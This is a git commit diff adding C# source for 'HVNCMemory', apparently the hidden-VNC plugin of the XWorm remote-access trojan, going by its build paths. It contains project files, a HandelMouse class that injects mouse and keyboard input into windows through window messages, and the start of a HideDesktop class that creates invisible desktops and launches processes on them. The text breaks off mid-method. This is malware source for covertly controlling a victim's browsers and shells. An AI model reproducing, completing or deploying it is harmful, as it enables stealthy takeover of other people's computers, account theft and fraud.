initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.33027.164
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HVNCMemory", "HVNC\HVNCMemory.csproj", "{2F6489F2-66DF-488F-AD43-841ED404B598}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{2F6489F2-66DF-488F-AD43-841ED404B598}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2F6489F2-66DF-488F-AD43-841ED404B598}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2F6489F2-66DF-488F-AD43-841ED404B598}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2F6489F2-66DF-488F-AD43-841ED404B598}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {BB6E8DA9-B1AD-489D-AE82-E034A5791BA0}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1 @@
|
||||
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\HVNCMemory\\HVNC","ProjectFileName":"HVNCMemory.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"HandelMouse.cs"},{"SourceFile":"HideDesktop.cs"},{"SourceFile":"Methods\\Native\\HandelNative.cs"},{"SourceFile":"Plugin.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"RemoteDesktop.cs"},{"SourceFile":"S\\OpenApp\\Brave.cs"},{"SourceFile":"S\\OpenApp\\Chrome.cs"},{"SourceFile":"S\\OpenApp\\CommandPrompt.cs"},{"SourceFile":"S\\OpenApp\\CustomOpen.cs"},{"SourceFile":"S\\OpenApp\\Edge.cs"},{"SourceFile":"S\\OpenApp\\FireFox.cs"},{"SourceFile":"S\\OpenApp\\HandleClipboard.cs"},{"SourceFile":"S\\OpenApp\\PowerShell.cs"},{"SourceFile":"S\\OpenApp\\WDir.cs"},{"SourceFile":"S\\ScreenCapture.cs"},{"SourceFile":"VNC\\HelperScreen.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.VisualBasic.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\HVNCMemory.dll","OutputItemRelativePath":"HVNCMemory.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
|
||||
@@ -0,0 +1,69 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{2F6489F2-66DF-488F-AD43-841ED404B598}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>Plugin</RootNamespace>
|
||||
<AssemblyName>HVNCMemory</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="HandelMouse.cs" />
|
||||
<Compile Include="HideDesktop.cs" />
|
||||
<Compile Include="Methods\Native\HandelNative.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="RemoteDesktop.cs" />
|
||||
<Compile Include="S\OpenApp\Brave.cs" />
|
||||
<Compile Include="S\OpenApp\Chrome.cs" />
|
||||
<Compile Include="S\OpenApp\CommandPrompt.cs" />
|
||||
<Compile Include="S\OpenApp\CustomOpen.cs" />
|
||||
<Compile Include="S\OpenApp\Edge.cs" />
|
||||
<Compile Include="S\OpenApp\FireFox.cs" />
|
||||
<Compile Include="S\OpenApp\HandleClipboard.cs" />
|
||||
<Compile Include="S\OpenApp\PowerShell.cs" />
|
||||
<Compile Include="S\OpenApp\WDir.cs" />
|
||||
<Compile Include="S\ScreenCapture.cs" />
|
||||
<Compile Include="VNC\HelperScreen.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,407 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
// Token: 0x02000003 RID: 3
|
||||
public class HandelMouse
|
||||
{
|
||||
// Token: 0x06000016 RID: 22
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
// Token: 0x06000017 RID: 23
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
|
||||
|
||||
// Token: 0x06000018 RID: 24
|
||||
[DllImport("kernel32", SetLastError = true)]
|
||||
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
|
||||
|
||||
// Token: 0x06000019 RID: 25
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
// Token: 0x0600001A RID: 26
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
|
||||
// Token: 0x0600001B RID: 27
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
|
||||
// Token: 0x0600001C RID: 28
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, [MarshalAs(UnmanagedType.I4)] int nCmdShow);
|
||||
|
||||
// Token: 0x0600001D RID: 29
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool IsZoomed(IntPtr hWnd);
|
||||
|
||||
// Token: 0x0600001E RID: 30
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetWindowRect(IntPtr hWnd, out HandelMouse.RECT lpRect);
|
||||
|
||||
// Token: 0x0600001F RID: 31
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr WindowFromPoint(Point p);
|
||||
|
||||
// Token: 0x06000020 RID: 32
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
|
||||
public static extern IntPtr GetParent(IntPtr hWnd);
|
||||
|
||||
// Token: 0x06000021 RID: 33 RVA: 0x000025E4 File Offset: 0x000007E4
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return HandelMouse.KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, false);
|
||||
}
|
||||
|
||||
// Token: 0x06000022 RID: 34 RVA: 0x00002600 File Offset: 0x00000800
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return HandelMouse.KeysLParam(RepeatCount, ScanCode, IsExtendedKey, true, true);
|
||||
}
|
||||
|
||||
// Token: 0x06000023 RID: 35 RVA: 0x0000261C File Offset: 0x0000081C
|
||||
public static int MakeLParam(int LoWord, int HiWord)
|
||||
{
|
||||
return HiWord << 16 | (LoWord & 65535);
|
||||
}
|
||||
|
||||
// Token: 0x06000024 RID: 36 RVA: 0x0000263C File Offset: 0x0000083C
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = (int)(RepeatCount | (ushort)(ScanCode << 16));
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 65536;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 1073741824;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
||||
|
||||
// Token: 0x06000025 RID: 37 RVA: 0x00002690 File Offset: 0x00000890
|
||||
public static void MouseLeftDown(int x, int y)
|
||||
{
|
||||
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.ActiveHandel = intPtr;
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(intPtr, out rect);
|
||||
Point point = new Point(x - rect.Left, y - rect.Top);
|
||||
int num = HandelMouse.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)HandelMouse.MakeLParam(x, y));
|
||||
IntPtr intPtr2 = HandelMouse.FindWindow("#32768", null);
|
||||
bool flag = num == 20;
|
||||
if (flag)
|
||||
{
|
||||
HandelMouse.PostMessage(intPtr, 16U, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag2 = num == 8;
|
||||
if (flag2)
|
||||
{
|
||||
HandelMouse.ShowWindow(intPtr, 6);
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag3 = num == 9;
|
||||
if (flag3)
|
||||
{
|
||||
bool flag4 = HandelMouse.IsZoomed(intPtr);
|
||||
if (flag4)
|
||||
{
|
||||
HandelMouse.ShowWindow(HandelMouse.IsActiveintPtr, 9);
|
||||
}
|
||||
else
|
||||
{
|
||||
HandelMouse.ShowWindow(HandelMouse.IsActiveintPtr, 3);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag5 = intPtr2 != IntPtr.Zero;
|
||||
if (flag5)
|
||||
{
|
||||
HandelMouse.Contex = intPtr2;
|
||||
IntPtr lParam = (IntPtr)HandelMouse.MakeLParam(x, y);
|
||||
HandelMouse.PostMessage(HandelMouse.Contex, 513U, new IntPtr(1), lParam);
|
||||
HandelMouse.RightClick = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag6 = HandelMouse.GetParent(intPtr) == IntPtr.Zero && y - rect.Top < HandelMouse.TTTT;
|
||||
if (flag6)
|
||||
{
|
||||
HandelMouse.IsActiveintPtr = intPtr;
|
||||
HandelMouse.PostMessage(intPtr, 513U, (IntPtr)1, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
HandelMouse.CopyY = x;
|
||||
HandelMouse.CopyY = y;
|
||||
HandelMouse.MoveHandel = intPtr;
|
||||
HandelMouse.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 3U);
|
||||
HandelMouse.SetWindowPos(intPtr, new IntPtr(-1), 0, 0, 0, 0, 3U);
|
||||
HandelMouse.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 67U);
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag7 = HandelMouse.GetParent(intPtr) != IntPtr.Zero || point.X <= rect.Right - rect.Left - 10 || point.Y <= rect.Bottom - rect.Top - 10;
|
||||
if (flag7)
|
||||
{
|
||||
HandelMouse.PostMessage(intPtr, 513U, (IntPtr)1, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
}
|
||||
else
|
||||
{
|
||||
HandelMouse.Xwidth = x;
|
||||
HandelMouse.Yheight = y;
|
||||
HandelMouse.ResizeHandel = intPtr;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000026 RID: 38 RVA: 0x00002904 File Offset: 0x00000B04
|
||||
public static void MouseLeftUp(int x, int y)
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(hWnd, out rect);
|
||||
bool rightClick = HandelMouse.RightClick;
|
||||
if (rightClick)
|
||||
{
|
||||
HandelMouse.PostMessage(HandelMouse.Contex, 514U, new IntPtr(1), (IntPtr)HandelMouse.MakeLParam(x, y));
|
||||
HandelMouse.RightClick = false;
|
||||
HandelMouse.Contex = IntPtr.Zero;
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag = HandelMouse.MoveHandel != IntPtr.Zero;
|
||||
if (flag)
|
||||
{
|
||||
HandelMouse.CopyX = 0;
|
||||
HandelMouse.CopyY = 0;
|
||||
HandelMouse.MoveHandel = IntPtr.Zero;
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag2 = !(HandelMouse.Xwidth > 0 | HandelMouse.Yheight > 0);
|
||||
if (flag2)
|
||||
{
|
||||
HandelMouse.PostMessage(hWnd, 514U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
}
|
||||
else
|
||||
{
|
||||
HandelMouse.RECT rect2;
|
||||
HandelMouse.GetWindowRect(HandelMouse.ResizeHandel, out rect2);
|
||||
int num = x - HandelMouse.Xwidth;
|
||||
int num2 = y - HandelMouse.Yheight;
|
||||
int cx = rect2.Right - rect2.Left + num;
|
||||
HandelMouse.SetWindowPos(HandelMouse.ResizeHandel, new IntPtr(0), rect2.Left, rect2.Top, cx, rect2.Bottom - rect2.Top + num2, 64U);
|
||||
HandelMouse.Xwidth = 0;
|
||||
HandelMouse.Yheight = 0;
|
||||
HandelMouse.ResizeHandel = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000027 RID: 39 RVA: 0x00002A68 File Offset: 0x00000C68
|
||||
public static void MouseRightDown(int x, int y)
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(hWnd, out rect);
|
||||
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.ActiveHandel = intPtr;
|
||||
HandelMouse.PostMessage(intPtr, 516U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
}
|
||||
|
||||
// Token: 0x06000028 RID: 40 RVA: 0x00002ACC File Offset: 0x00000CCC
|
||||
public static void MouseRghitUp(int x, int y)
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(hWnd, out rect);
|
||||
HandelMouse.PostMessage(HandelMouse.WindowFromPoint(new Point(x, y)), 517U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
}
|
||||
|
||||
// Token: 0x06000029 RID: 41 RVA: 0x00002B28 File Offset: 0x00000D28
|
||||
public static void MouseDuoblClieck(int x, int y)
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(hWnd, out rect);
|
||||
IntPtr intPtr = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.ActiveHandel = intPtr;
|
||||
HandelMouse.PostMessage(intPtr, 515U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
}
|
||||
|
||||
// Token: 0x0600002A RID: 42 RVA: 0x00002B8C File Offset: 0x00000D8C
|
||||
public static void MouseMove(int x, int y)
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect;
|
||||
HandelMouse.GetWindowRect(hWnd, out rect);
|
||||
bool flag = HandelMouse.MoveHandel != IntPtr.Zero;
|
||||
if (flag)
|
||||
{
|
||||
HandelMouse.PostMessage(HandelMouse.MoveHandel, 514U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect.Left, y - rect.Top));
|
||||
HandelMouse.RECT rect2;
|
||||
HandelMouse.GetWindowRect(HandelMouse.MoveHandel, out rect2);
|
||||
int num = rect2.Right - rect2.Left;
|
||||
int cy = rect2.Bottom - rect2.Top;
|
||||
HandelMouse.SetWindowPos(HandelMouse.MoveHandel, new IntPtr(0), x - num / 2, y, num, cy, 64U);
|
||||
HandelMouse.CopyX = x;
|
||||
HandelMouse.CopyY = y;
|
||||
}
|
||||
else
|
||||
{
|
||||
IntPtr hWnd2 = HandelMouse.WindowFromPoint(new Point(x, y));
|
||||
HandelMouse.RECT rect3;
|
||||
HandelMouse.GetWindowRect(hWnd2, out rect3);
|
||||
HandelMouse.PostMessage(hWnd2, 512U, (IntPtr)0, (IntPtr)HandelMouse.MakeLParam(x - rect3.Left, y - rect3.Top));
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0600002B RID: 43 RVA: 0x00002C9C File Offset: 0x00000E9C
|
||||
public static void KeyboardDown(string k)
|
||||
{
|
||||
int num = Strings.AscW(k);
|
||||
bool flag = num == 8 | num == 13;
|
||||
if (flag)
|
||||
{
|
||||
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 256U, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(k))), HandelMouse.CreateLParamFor_WM_KEYDOWN(1, 30, false, false));
|
||||
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 257U, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(k))), HandelMouse.CreateLParamFor_WM_KEYUP(1, 30, false));
|
||||
}
|
||||
else
|
||||
{
|
||||
HandelMouse.PostMessage(HandelMouse.ActiveHandel, 258U, (IntPtr)Strings.AscW(k), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void ScrollDown()
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.ActiveHandel;
|
||||
if (hWnd != IntPtr.Zero)
|
||||
SendMessage(hWnd, 0x115, new IntPtr(1), IntPtr.Zero);
|
||||
}
|
||||
|
||||
public static void ScrollUp()
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.ActiveHandel;
|
||||
if (hWnd != IntPtr.Zero)
|
||||
SendMessage(hWnd, 0x115, new IntPtr(0), IntPtr.Zero);
|
||||
}
|
||||
|
||||
public static void CloseWindow()
|
||||
{
|
||||
SendMessage(HandelMouse.IsActiveintPtr, 16, (IntPtr)0, (IntPtr)0);
|
||||
}
|
||||
|
||||
public static void MinTop()
|
||||
{
|
||||
IntPtr hWnd = HandelMouse.IsActiveintPtr;
|
||||
ShowWindow(hWnd, 6);
|
||||
}
|
||||
|
||||
public static void RestoreMaxTop()
|
||||
{
|
||||
IntPtr intPtr = HandelMouse.IsActiveintPtr;
|
||||
if (IsZoomed(intPtr))
|
||||
{
|
||||
ShowWindow(intPtr, 9);
|
||||
}
|
||||
else
|
||||
{
|
||||
ShowWindow(intPtr, 3);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Token: 0x04000005 RID: 5
|
||||
public const int TitleHandel1 = 2;
|
||||
|
||||
// Token: 0x04000006 RID: 6
|
||||
public const int TitleHandel2 = 12;
|
||||
|
||||
// Token: 0x04000007 RID: 7
|
||||
public const int IsCloseHandel = 20;
|
||||
|
||||
// Token: 0x04000008 RID: 8
|
||||
public const int CloseHandel = 16;
|
||||
|
||||
// Token: 0x04000009 RID: 9
|
||||
public const int SetHandelValue = 132;
|
||||
|
||||
// Token: 0x0400000A RID: 10
|
||||
public const int IsHideHandel = 8;
|
||||
|
||||
// Token: 0x0400000B RID: 11
|
||||
public const int IsShowHandel = 9;
|
||||
|
||||
// Token: 0x0400000C RID: 12
|
||||
public static IntPtr ActiveHandel;
|
||||
|
||||
// Token: 0x0400000D RID: 13
|
||||
private static IntPtr IsActiveintPtr;
|
||||
|
||||
// Token: 0x0400000E RID: 14
|
||||
private static IntPtr MoveHandel;
|
||||
|
||||
// Token: 0x0400000F RID: 15
|
||||
private static IntPtr ResizeHandel;
|
||||
|
||||
// Token: 0x04000010 RID: 16
|
||||
private static IntPtr Contex;
|
||||
|
||||
// Token: 0x04000011 RID: 17
|
||||
public static int CopyX;
|
||||
|
||||
// Token: 0x04000012 RID: 18
|
||||
public static int CopyY;
|
||||
|
||||
// Token: 0x04000013 RID: 19
|
||||
private static int Xwidth;
|
||||
|
||||
// Token: 0x04000014 RID: 20
|
||||
private static int Yheight;
|
||||
|
||||
// Token: 0x04000015 RID: 21
|
||||
private static bool RightClick;
|
||||
|
||||
// Token: 0x04000016 RID: 22
|
||||
public static int TTTT;
|
||||
|
||||
// Token: 0x04000017 RID: 23
|
||||
public static bool IsMovemouse;
|
||||
|
||||
// Token: 0x02000021 RID: 33
|
||||
public struct RECT
|
||||
{
|
||||
// Token: 0x04000090 RID: 144
|
||||
public int Left;
|
||||
|
||||
// Token: 0x04000091 RID: 145
|
||||
public int Top;
|
||||
|
||||
// Token: 0x04000092 RID: 146
|
||||
public int Right;
|
||||
|
||||
// Token: 0x04000093 RID: 147
|
||||
public int Bottom;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
using Methods.Native;
|
||||
using System;
|
||||
using System.Collections.Specialized;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
// Token: 0x02000002 RID: 2
|
||||
public class HideDesktop
|
||||
{
|
||||
// Token: 0x06000001 RID: 1
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandelNative.STARTUPINFO lpStartupInfo, ref HandelNative.PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
// Token: 0x06000002 RID: 2
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, long dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
// Token: 0x06000003 RID: 3
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, long dwDesiredAccess);
|
||||
|
||||
// Token: 0x06000004 RID: 4 RVA: 0x00002050 File Offset: 0x00000250
|
||||
public static HideDesktop OpenDesktop(string name)
|
||||
{
|
||||
HideDesktop hideDesktop = new HideDesktop();
|
||||
bool flag = hideDesktop.Open(name);
|
||||
bool flag2 = !flag;
|
||||
HideDesktop result;
|
||||
if (flag2)
|
||||
{
|
||||
result = null;
|
||||
}
|
||||
else
|
||||
{
|
||||
result = hideDesktop;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280
|
||||
public static HideDesktop CreateDesktop(string name)
|
||||
{
|
||||
HideDesktop hideDesktop = new HideDesktop();
|
||||
bool flag = hideDesktop.Create(name);
|
||||
bool flag2 = !flag;
|
||||
HideDesktop result;
|
||||
if (flag2)
|
||||
{
|
||||
result = null;
|
||||
}
|
||||
else
|
||||
{
|
||||
result = hideDesktop;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000006 RID: 6 RVA: 0x000020B0 File Offset: 0x000002B0
|
||||
public static bool CreateProcess(string path, string desktop, bool bAppName)
|
||||
{
|
||||
bool flag = !HideDesktop.Exists(desktop);
|
||||
bool result;
|
||||
if (flag)
|
||||
{
|
||||
result = false;
|
||||
